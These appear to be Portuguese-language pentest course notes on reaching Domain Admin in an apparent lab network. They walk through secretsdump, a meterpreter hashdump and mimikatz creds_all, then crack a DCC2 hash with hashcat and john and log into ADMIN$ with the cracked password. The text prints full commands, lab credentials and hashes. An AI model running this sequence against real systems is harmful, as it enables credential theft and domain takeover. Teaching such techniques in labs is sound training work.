Conseguindo Domain Admin

+ Com a máquina da mfernanda, iremos tentar extrair hashes do egabriel, que descobrimos na aula passada ser o domain admin

+Primeiro método

```
impacket-secretsdump orionscorp2/mfernanda:'Jesus!1999'@172.16.1.253
```

+ Se invadirmos o host dela com o psexec normal, e dermos um hashdump, não pegaremos os hashes de todos os usuários

```
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Usuario:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f6ff1bd688b85e836aa2b7d6bb60bdcd:::
meterpreter >
```

+ Uma opção, usando o meterpreter, seria rodar o mimikatz ou o kiwi

```
load kiwi
```

```
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter >
```

→ Para resgatar todas as credenciais, damos um creds_all

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username   Domain       NTLM                              SHA1                                      DPAPI
--------   ------       ----                              ----                                      -----
CORPPC02$  ORIONSCORP2  9461d301bf61642923ed24dd159c6656  781a49b3b82e4db6e06463d95aeee1f80557a5ba
Egabriel   ORIONSCORP2  c1c1e3cf2ceab42b808f51e606afb6ec  b063dff6a2ae416ab840cd8477b613ba9fd2148e  84cd6d8f7f0471b120867ba6fe75ff5a
MFernanda  ORIONSCORP2  3131b391bfbed0cd456c6dc1bdaa8133  a66eacca8cca131067b2e54d0af710b0f840b5e6  1daed3a19dd7a982b02a536a049713d3

wdigest credentials
===================

Username   Domain       Password
--------   ------       --------
(null)     (null)       (null)
CORPPC02$  ORIONSCORP2  (null)
Egabriel   ORIONSCORP2  (null)
MFernanda  ORIONSCORP2  (null)
```

→ Agora aparece um hash do Egabriel, que podemos usar as técnicas já conhecidas para quebrá-lo

+ Enquanto isso, as buscas do impacket estão mostrando resultados

```
root@pentesting:/home/desec/Desktop# impacket-secretsdump orionscorp2/mfernanda:'Jesus!1999'@1
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x290e93b533730c6145eca1522ed0439a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f6ff1bd688b85e836aa2b7d6bb60bdcd:::
Usuario:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
ORIONSCORP2.LOCAL/MFernanda:$DCC2$10240#MFernanda#438cd46c515ac3575596172fabf4c8ce
ORIONSCORP2.LOCAL/Egabriel:$DCC2$10240#Egabriel#8a8da251859120a8d71cd894e2c14fe2
```

→ veja que esse é um hash do tipo dcc2
→ dcc: domain chash credentials
→ Para usar o john caso queiramos quebrar esse hash, devemos

+ Para iniciarmos o processo de quebra dos hashs com o john, é interessante que passemos para ele o tipo de criptografia. No caso da dcc, ela seria a mscash

```
john --list=formats
```

```
, KeePass, keychain, keyring, keystore, known_hos
p, krb5pa-sha1, krb5tgs, krb5-17, krb5-18, krb5-3
leet, lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki
DB, scram, Mozilla, mscash, mscash2, MSCHAPv2,
pa-md5, mssql, mssql05, mssql12, multibit, mysqln
et-ah, nethalflm, netlm, netlmv2, net-md5, netntl
ve, net-sha1, nk, notes, md5ns, nsec3, NT, o10glo
F, Office, oldoffice, OpenBSD-SoftRAID, openssl-e
acle12C, osc, ospf, Padlock, Palshop, Panama,
DF2-HMAC-MD5, PBKDF2-HMAC-SHA1, PBKDF2-HMAC-SHA25
```

+ No hashcat, dcc2 represena a opção 2100. Se copiarmos o hash para o arquivo hashda, poderemos executar da seguinte maneira:

```
hashcat -m 2100 hashda /usr/share/wordlists/rockyou.txt --force
```

→ lembrando que o hash a ser passado deve conter somente o seguinte:
→

```
  GNU nano 4.8
$DCC2$10240#Egabriel#8a8da251859120a8d71cd894e2c14fe2
```

```
root@pentesting:/home/desec/Desktop# hashcat -m 2100 hashda /usr/share/wordlists/rockyou.txt --show
$DCC2$10240#egabriel#8a8da251859120a8d71cd894e2c14fe2:Der#22Dwr#29
root@pentesting:/home/desec/Desktop#
```

+ Com o john

```
root@pentesting:/home/desec/Desktop# john --format=nt hasheg --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)
root@pentesting:/home/desec/Desktop# john --format=nt hasheg --show
?:Der#22Dwr#29

1 password hash cracked, 0 left
root@pentesting:/home/desec/Desktop#
```

+ Por fim, podemos ter acesso ao Admin por meio das credenciais obtidas do gabriel:

```
smbclient //172.16.1.243/ADMIN$ -U egabriel -W orionscorp2
<passamos a senha dele: Der#22Dwr#29>
```